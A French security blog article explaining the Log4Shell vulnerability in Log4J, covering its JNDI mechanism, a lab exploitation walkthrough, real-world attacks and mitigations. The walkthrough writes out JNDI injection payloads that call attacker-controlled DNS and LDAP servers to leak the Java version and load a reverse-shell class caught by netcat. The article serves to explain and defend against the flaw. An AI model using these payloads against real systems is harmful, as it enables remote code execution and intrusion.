Quelles étaient les prémices de ces guerres et crimes d’Internet ? Qui étaient les premières personnes à détourner l’outil pour leur usage ? Comment l’image du « nerd » adolescent dans son garage a laissé la place aux « cybersoldats » agissant dans l’ombre d’une organisation illégale ou au contraire dans le cadre de fonctions étatiques tout à fait légitime ? Mais surtout comment se protéger et faire évoluer nos méthodes de défense face à cette affliction ? Nous retraçons l’Histoire de la cybercriminalité, d’hier et d’aujourd’hui.
Décryptage de la faille de sécurité Log4Shell
Quelques années après l’apparition de la vulnérabilité Apache Struts et quelques semaines avant le signalement de Pwnkit, l’éditeur Apache a signalé le 9 décembre 2021 une faille de sécurité dans le composant logiciel de journalisation Log4J. L’annonce a fait l’effet d’un tsunami mondial au sein des équipes de cybersécurité. Et pour cause : l’exploitation de cette faille est simple et aboutit à une exécution de code arbitraire sur la machine vulnérable. En outre, Log4J est majoritairement utilisé par les applications développées en Java afin d’effectuer une journalisation. Ainsi, la vulnérabilité CVE-2021-44228, joliment rebaptisée Log4Shell, semble apparaître comme une fragilité particulièrement dangereuse pour la pérennité des services web.
Suite à ces annonces, il est légitime de se poser les questions suivantes : quelle est cette bibliothèque logicielle Log4J ? Pourquoi est-elle si répandue ? Depuis quand cette vulnérabilité est-elle exploitée ? En quoi consiste-t-elle ? Quelles sont les conséquences de cette vulnérabilité ? Comment se prémunir efficacement de Log4Shell ?
Sommaire
1. Qu’est-ce que Log4J ?
Log4J est une bibliothèque logicielle open source programmée en langage Java, intégrée à l’Apache Logging Services, un projet de l’Apache Software Foundation. Elle importe des méthodes permettant de journaliser les actions de l’application et de générer des traces. Bien que non native à Java, sa facilité de mise en œuvre et les fonctionnalités qu’elle apporte font d’elle un standard de journalisation des applications Java.
2. Origine de la vulnérabilité
En 2019, une première vulnérabilité impliquant une exécution de code avait été signalée, une mise à jour corrigeait cette faille, cependant le 24 novembre 2021 le fournisseur de Cloud chinois Alibaba remontait à l’Apache Software Foundation la possibilité une nouvelle fois d’exécuter du code au travers de la bibliothèque Log4J. La fondation attendra deux semaines de recherche et développement pour divulguer publiquement, le 09 décembre 2021 ce qui deviendra Log4Shell.
À la suite de l’annonce, le gouvernement chinois suspendra un partenariat de partage d’informations avec Alibaba Cloud, reprochant ainsi à l’entreprise privée d’avoir prévenu l’Apache Software Foundation avant les autorités étatiques.
3. Fonctionnement de la faille de sécurité Log4Shell
JNDI
Afin de comprendre comment Log4Shell fonctionne, il faut avant tout connaître quelques éléments propres à Java, notamment le Java Naming and Directory Interface (JNDI). JNDI est une interface de programmation d’application (API) fournissant des fonctionnalités de nommage et de répertoire. En somme, l’API associe à une ressource un nom tout en embarquant elle-même un ensemble d’interfaces permettant d’utiliser tout type d’annuaire (LDAP, RMI, DNS, CORBA, système de fichiers…)
Il n’est pas utile d’approfondir le sujet des JNDI, pour appréhender la compréhension de la bibliothèque Log4J et la vulnérabilité Log4Shell, l’essentiel est de retenir la notion de ressource distante à l’application liée à nom via une couche abstractive.
La vulnérabilité
Le premier point défaillant de Log4J réside dans son mécanisme d’interprétation des variables Java au sein de ses méthodes de journalisations. En effet, le code présenté ci-dessous enregistrera dans les logs de l’application la version de Java, la variable étant interprétée avant d’être retournée au « logger ».
Log4J tentera donc d’associer des valeurs à des variables selon l’écriture de celle-ci. Le deuxième point défaillant demeure dans le fait que la bibliothèque supporte le système de nommage JNDI et tentera d’accéder à une ressource s’il rencontre une chaîne formatée. La démonstration d’une injection de classe via le système nommage JNDI avait déjà été démontrée en 2016 lors d’une conférence BlackHat. L’exploit résidait dans la possibilité pour une application de faire appel à des objets distants. En effet, il est envisageable pour un service de nommage de sérialiser les objets, puis de les stocker dans un tableau, mais pour des objets de tailles conséquentes, JNDI permet la référence de nommage, via une adresse distante.
Lors de l’événement BlackHat 2016, Alvaro Muñoz et Oleksandr Miros démontraient l’exécution de code au sein d’applications web exécutant des recherches JNDI sur des noms contrôlés par des attaquants.
Log4J embarquant les JNDI et interprétant les variables Java il est maintenant concevable d’injecter au sein de valeur traitée par la bibliothèque de journalisation des requêtes permettant d’appeler un objet distant ou d’exfiltrer des informations de l’application.
4. Exploitation de la faille de sécurité Log4Shell
Prouver l’exploitabilité
Note – Plusieurs outils ont été utilisés sur Github pour faciliter le travail de démonstration :
– Application Spring vulnérable développée par Cynet
– Outil permettant de simuler un serveur LDAP
– Outil permettant de simuler un serveur DNS
L’application Log4shell-vulnerable-app est une image Alpine embarquant Java et une application procédant à une journalisation via Log4J.
Ici, l’entête « X-Api-Version » provient d’une requête cliente :
Ainsi, la valeur TestLog sera logguée par Log4J.
L’idée est tout d’abord de vérifier la vulnérabilité de l’application via une requête DNS sans procéder à l’exécution de code.
Nous utilisons pour cela DNSchef qui simulera un serveur DNS sur une machine virtuelle. Ce serveur en écoute affiche les requêtes transmises dans son output.
Nous relançons notre requête, remplaçant le Testlog par « ${jndi:dns://192.168.1.144/–${java:version}} », espérant ainsi recevoir sur notre serveur DNS une requête fuitant la version du Java distant.
Maintenant, nous savons que l’application distante est vulnérable à Log4Shell, l’étape suivante est l’obtention d’un Reverse Shell sur notre machine.
Le Reverse Shell
L’attaque se produira en plusieurs temps :
1) l’attaquant envoie une requête empoisonnée dans l’header X-Api-Version
2) le serveur vulnérable reçoit et journalise cette requête
3) log4J interprète la portion de code « ${jndi:ldap://192.168.1.143:9999/log4Shell} » et procède à une requête LDAP
4) le serveur LDAP contrôlé par l’attaquant reçoit cette requête et transmet l’adresse d’un serveur Web hébergeant la classe malveillant (qui contient notre Reverse Shell)
5) le serveur vulnérable reçoit la requête, et demande donc la classe correspondante
6) le serveur web de l’attaquant transmet cette classe demandée par le service JNDI
7) l’objet malveillant est exécuté sur le serveur
Un Reverse Shell Java est alors développé :
On le compile en ligne de commande :
Il est à noter qu’il est judicieux de déterminer la version du Java de notre cible. En effet, notre charge ne fonctionnera pas si nous n’ajustons pas ce paramètre.
Nous lançons notre serveur HTTP et notre serveur LDAP
Et, bien entendu notre netcat, ce dernier attendant la connexion du Reverse Shell.
La structure d’attaque maintenant prête, nous pouvons procéder à notre requête :
Est injecté dans le header :
Le serveur LDAP retourne le chemin vers le serveur web hébergeant la classe malveillante
Le serveur web reçoit bien la requête de la machine vulnérable
La classe est exécutée, à ce stade Java retourne une erreur propre à l’espace de nom, mais notre Reverse Shell est tout de même exécuté et le netcat obtient la connexion qu’il attend.
Fin d’exploitation
Cette manière de faire n’est évidemment pas la seule. Si l’on en croit les travaux de Alvaro Muñoz et Oleksandr Mirosh, les protocoles RMI et CORBA sont aussi sujets à l’exécution de code. Depuis l’annonce de la vulnérabilité, des articles proposant des démonstrations du concept fleurissent ici et là.
5. Les conséquences de la faille de sécurité Log4Shell
Les 1ères attaques
À l’instar d’une pandémie virale où l’on cherche un patient zéro, la découverte d’une vulnérabilité aussi dangereuse soulève la question suivante :
Quand a-t-elle été exploitée la première fois ?
Il est impossible d’avoir la certitude qu’aucune attaque de ce type ne s’est produite avant une certaine date. La recherche d’une éventuelle exploitation passe par l’analyse de fichiers de logs. Selon Cloudflare et Cisco, les premières attaques remontraient à deux semaines avant le rendu public.
Évidemment, ces entreprises n’ont pas pu analyser l’intégralité des logs de l’ensemble des applications embarquant Log4J. De fait, il convient pour les entreprises de procéder elle-même à une analyse de leurs journaux, afin de détecter des tentatives d’exploitation voire une attaque ayant aboutie sur une persistance. Les premières attaques post publication n’ont quant à elles pas tardé, dès le 9 décembre des joueurs de Minecraft remontaient des preuves d’attaques utilisant Log4Shell sur les serveurs du jeu. Puis, le 13 décembre, ce fut le raz de marée. Sophos – société de développement de solutions de cybersécurité et d’analyse de malwares – annonçait avoir détecté plus d’une centaine d’attaques utilisant ce vecteur.
Sur son blog, l’entreprise Checkpoint relate la diversité des méthodes issues de l’exploit original.
Logiquement, les malwares intègrent rapidement la nouvelle vulnérabilité. Mirai et Mushtik respectivement deux logiciels malveillants déjà connus :
– l’un, Mirai, ayant pour vocation de se répandre en botnets au sein de serveur Linux
– l’autre, Mushtik issu du code source de Mira, mine des cryptomonnaies, embarquant maintenant les codes d’exploitation de la vulnérabilité Log4Shell.
La suite logique amène forcément aux ransomwares, les cybercriminels rompus à l’exercice assimilent ce nouveau vecteur d’infection à leurs méthodologies. Selon le Threatpost, le groupe Conti est le premier à mettre en place un scénario d’attaque complet avec Log4Shell, la finalité étant le déploiement du ransomware sur le système d’information de la victime.
À ce jour, les témoignages d’experts et d’analystes se multiplient. Bitdefender annonce à son tour qu’un ransomware basé sur Khonsari utilise lui aussi cette vulnérabilité. C’est ensuite à CrowdStrike de communiquer sur une tentative de vol de secrets militaro-industriel détectée à temps. Le groupe Aquatic Panda, un groupe de « menaces persistantes avancées » (comprendre une installation durable des attaquants dans le système d’information) semble être le premier APT répertorié à utiliser Log4Shell comme vecteur d’attaque.
Une problématique durable ?
Les patchs et correctifs sont déjà arrivés, mais faut-il encore qu’ils soient installés. Guillaume Poupard, directeur général de l’Agence Nationale de Sécurité des Systèmes d’Information (ANSSI) se montre optimiste dans un communiqué au journal Le Monde il affirme que nous vivons « des fêtes de fin d’année un peu pénibles pour beaucoup d’experts » puis ajoute que « dans un mois on n’en parlera probablement plus, ça sera résiduel« . Cependant, il précise que si « les grosses boîtes connaissent leur périmètre … Ce qui va être le plus impacté, ce sont les PMI/PME » (dixit le journaliste Florian Reynaud dans un live sur Le Monde.fr)
Il est donc à craindre une exploitation durable de la faille par divers groupes, étatiques et criminels sur une durée assez longue, ciblant petites et moyennes entreprises, mais aussi hôpitaux et structure moins à même de se protéger, lorsque les plus grandes structures auront correctement répondu à la menace. De plus, les développeurs Java utilisent Log4J au sein d’un large éventail d’applications, bien au-delà du périmètre du Web.
Ainsi, sont touchés certes les serveurs web, mais également les machines utilisant certains softwares, les objets connectés (IoT), les smartphones et même les Tesla. En effet, des chercheurs auraient réussi à provoquer un comportement induisant la vulnérabilité au sein d’un iPhone et d’une Tesla.
Log4J est embarqué dans des frameworks, eux-mêmes utilisés au sein de logiciels et bibliothèques appelés par des programmes non développés en Java. De fait, se croire à l’abri, car l’application est développée en PHP est une erreur, la bibliothèque vulnérable peut-être appelée dans une brique sous-jacente de votre architecture. Le logiciel Ghidra, utilisé par les experts en cybersécurité pour l’analyse de programme serait également vulnérable selon Rob Joyce, directeur de la cybersécurité à la NSA.
En définitive, le panel d’applications potentiellement vulnérable est effroyablement large. La raison est toutefois très simple, Java est multi-système, son code fonctionne aussi bien sous Windows, Linux, Androïd, son déploiement est très simple et ses nombreux frameworks lui permette d’aborder de nombreux domaines (software, web, mobile…). Ainsi, Log4Shell peut se cacher dans des applications encore non identifiées.
L’open source mise en cause ?
Log4Shell a également comme conséquence collatérale de relancer le débat sur l’utilisation de l’Opensource.
En effet une monumentale architecture repose parfois sur une bibliothèque développée il y a vingt ans et non maintenue depuis quinze. Dans ce cas, comment faire confiance à une librairie Opensource, comment être sûr que l’équipe en charge de développement possède la capacité humaine nécessaire pour corriger, mettre à jour et développer de nouvelles fonctionnalités avec le niveau de qualité requis pour une multinationale. La vulnérabilité HeartBleed affectant OpenSSL avait soulevé les mêmes questionnements au sujet de l’Opensource et de son financement.
Les développeurs de Log4J n’ont pas tardé à réagir, Volkan Yazici twitte le 10 décembre : « Les mainteneurs de Log4j ont travaillé sans sommeil sur des mesures d’atténuation ;correctifs, docs, CVE, réponses aux demandes de renseignements, etc. Pourtant, rien n’empêche les gens de nous critiquer, pour un travail pour lequel nous ne sommes pas payés, pour une fonctionnalité que nous n’aimons pas tous mais que nous devions conserver en raison de problèmes de compatibilité descendante. »
La fonctionnalité dont fait écho Volkan dans son Tweet est bien l’interprétation des JNDI évoqué lors de la démonstration au début de cet article. Pour des raisons de rétrocompatibilité, des utilisateurs de Log4J se sont opposés à sa suppression.
6. Log4Shell : comment s’en prémunir ?
Aujourd’hui, les seules solutions viables sont de mettre à jour Log4J vers la version 2.15.0 ou d’appliquer un patch correctif fourni par certains fournisseurs de logiciels. Il convient d’identifier quels logiciels, quelles parties de notre architecture, code… sont vulnérables, impossible d’appliquer un quelconque correctif ou mise à jour si l’on ignore l’existence du besoin. Il faut alors revoir en profondeur ses déploiements applicatifs, son architecture, son périmètre.
L’analyse des journaux est également importante, c’est par elle que l’on peut identifier des tentatives d’attaques et les signaler.
Une liste, non exhaustive, mais régulièrement mise à niveau, des applications vulnérables est disponible sur le Git de NCSC-NL (National Cyber Security Centrum des Pays-Bas).
Une liste d’adresses IP identifiée comme source d’exploitation ou de tentatives d’exploitation de la faille est également disponible sur le Git de Gnremy.
Les entrées utilisateurs encore et toujours
Pour finir, il n’est pas inutile d’ajouter qu’il est absolument nécessaire à toute application de contrôler ses entrées utilisateurs. En effet :
– si une adresse IP est attendue, alors elle ne doit contenir qu’un certain nombre de caractères constitués de chiffres et de points ;
– si un nom ou un prénom est attendu, seuls des caractères de type alphabétiques seront autorisés, etc.
Si ces rappels ne peuvent garantir une protection sûre pour tout type de cyberattaque, leurs applications freineront sans faute les tentatives d’exploitation basique. Aux États-Unis, l’Agence Fédérale du Commerce (FTC) menace de poursuite judiciaire toutes les entreprises « ne prenant pas de mesure raisonnable pour protéger les données de consommateurs contre l’exposition à Log4Shell« .
Reste à déterminer ce qu’est une mesure raisonnable par rapport aux moyens réels d’une entreprise à taille humaine.
Conclusion
Cette vulnérabilité rappelle également à quel point certaines architectures d’apparence robuste ont des pieds d’argiles, dépendantes du travail d’anonymes. Ces architectures, de plus en plus complexes, intègrent d’innombrables appels à des libraires externes, difficiles à contrôler malgré le travail des développeurs.
La rapidité avec laquelle Log4Shell fut exploitée immédiatement après son annonce met en exergue le talent, l’organisation et l’assiduité des cyber-attaquants criminels ou étatiques.
Log4Shell ne sera sûrement pas la dernière cyber bombe à exploser au visage des responsables de la sécurité des systèmes d’information (SI), des développeurs, des entreprises. Dans un monde de plus en plus connecté, reposant de plus en plus sur l’outil informatique les dégâts collatéraux seront à l’avenir d’avantage coûteux. Si les plus grands groupes ont déjà réagi à la menace, les petites entreprises, les hôpitaux, les institutions publics, les groupes non lucratifs auront plus de mal à se protéger et à corriger cette faille de vulnérabilité et les prochaines à venir.
D’autres articles de Vincent Fourcade, consultant SSI Digitemis
Pourquoi les injections SQL existent-elles toujours ?
Les injections SQL (aussi abrégées SQLi dans le domaine de la sécurité informatique) représentent toujours une menace bien réelle sur les applications web. Comment expliquer leur persistance alors que l’utilisation de Framework embarquant des ORM se démocratise, que PHP implémente PDO et ses requêtes préparées depuis 2004. Alors comment se fait-il qu’il soit possible d’en injecter en 2021 ?
Je partage
Derniers articles
Renforcer la sécurité WordPress, du développement des plugins à la configuration serveur
Il y a peu, dans le cadre de recherches sur des plugins WordPress, notre pentester Vincent Fourcade a découvert une injection de code, côté client, dans un module du célèbre CMS. Celle-ci fut vérifiée et validée par les équipes de WPScan. Aujourd’hui, une CVE lui a été attribuée. L’occasion de revenir aujourd’hui sur la sécurité, au sens large, dans le CMS WordPress, que ce soit au niveau de la couche applicative, de la configuration du serveur ou du bureau. C’est parti !
Analyse des Métriques XSS : comprendre l’Impact des injections de code côté client
Lors des tests d’intrusion, l’injection de code côté client est généralement plus aisée à découvrir qu’une injection côté serveur. Le nombre de paramètres dynamiques transitant du back au front, la difficulté d’échapper correctement à l’entrée et à la sortie et la multitude d’encodage liés à l’affichage peuvent être des vrais casse-têtes pour qui souhaite faire la chasse à la XSS. Le JavaScript malveillant semble ainsi avoir de beaux jours devant lui. Cependant, il n’est pas rare qu’à l’issu de l’audit, la criticité d’une telle injection découle directement de la configuration des cookies présents sur l’application. En effet, l’absence de l’attribut HttpOnly majore irrémédiablement les risques liés à ce type d’attaque. Néanmoins, cela signifie-t-il que la présence de cet attribut doive absolument amenuiser la criticité d’une injection ?